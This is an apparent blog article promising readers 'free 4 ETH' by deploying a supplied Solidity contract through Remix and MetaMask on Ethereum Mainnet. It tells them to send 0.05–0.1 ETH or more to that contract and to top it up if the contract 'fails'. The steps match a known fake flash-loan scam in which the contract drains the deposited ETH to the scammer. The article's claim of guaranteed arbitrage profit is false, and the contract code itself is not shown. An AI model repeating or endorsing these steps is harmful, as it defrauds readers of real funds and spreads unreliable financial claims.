How I Earned Free 4 ETH In The Crypto Space
The article introduces an enticing opportunity for those seeking financial freedom from traditional employment. It outlines a method to earn 4 ETH (approximately $12,000) using a technique known as “flash loans.” Flash loans are a type of uncollateralized lending prevalent in decentralized finance (DeFi), where users can borrow funds without providing collateral, provided the loan is repaid within the same blockchain transaction.
The catch with flash loans is that they must be borrowed and repaid within the same transaction, presenting a unique opportunity for those skilled in leveraging DeFi protocols. However, it’s crucial to approach this method with caution and understanding.
Learn more about Flash Loans: https://www.antiersolutions.com/a-comprehensive-guide-on-flash-loan-arbitrage-smart-contract-in-2024
This video provides instructions on how to execute a flash loan. Make sure you watch the video carefully, as the article explains what happens in the video.
The tutorial provides step-by-step instructions on how to execute a flash loan:
1. Prepare your environment: Install the Metamask Extension for your browser, make sure you are on Ethereum Mainnet and access the Remix Ethereum IDE.
2. Create a new file: Name it “flashloans.sol” and paste the provided contract code.
3. Compile the code: Set the compiler version to 0.5.0 and paste the contract code. Wait for the code to compile completely before moving to the next step.
4. Deploy the contract: Connect your Metamask wallet, Click the right arrow on the Deploy button and fill in the details. On “_TOKENNAME” TYU TOKEN, On “_TOKENSYMBOL” TYU, On “_LOANAMOUNT” 500. Then click on Transact
5. Initiate the flash loan: Send ETH to the deployed contract to initiate the flash loan. It’s recommended to send at least 0.05 ETH, although higher amounts yield better results. (i.e. You get bigger amounts in each swap)
6. Execute the flash loan: Confirm the transaction in MetaMask and wait for confirmation. Click “action” (red box) this step triggers the flash loan.
7. Check your wallet: After the transaction is complete, you should find the earned ETH in your wallet.
If it doesn’t work with 0.05 ETH try to send another 0.05 ETH(0.1+ is better), because fees may be different from day to day. (0.1+ ETH for each 1000 ETH you are borrowing).
Avoid using very low amounts as contract may fail below 0.1 ETH. Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time.
The tutorial also provides some important notes and tips:
- Adjust the amount of ETH sent if the transaction fails initially, as gas prices may fluctuate.
- If the transaction fails, wait for a few minutes and retry with adjusted parameters for a smaller profit.
- Ensure to transfer the earned ETH to another wallet once the process is complete.
It’s essential to exercise caution and understand the risks involved in utilizing flash loans and engaging in DeFi activities. It presents an opportunity for substantial earnings, and this article aims at removing the complexity of the Flash Loan method to enable ordinary users gain substantial amounts from it.
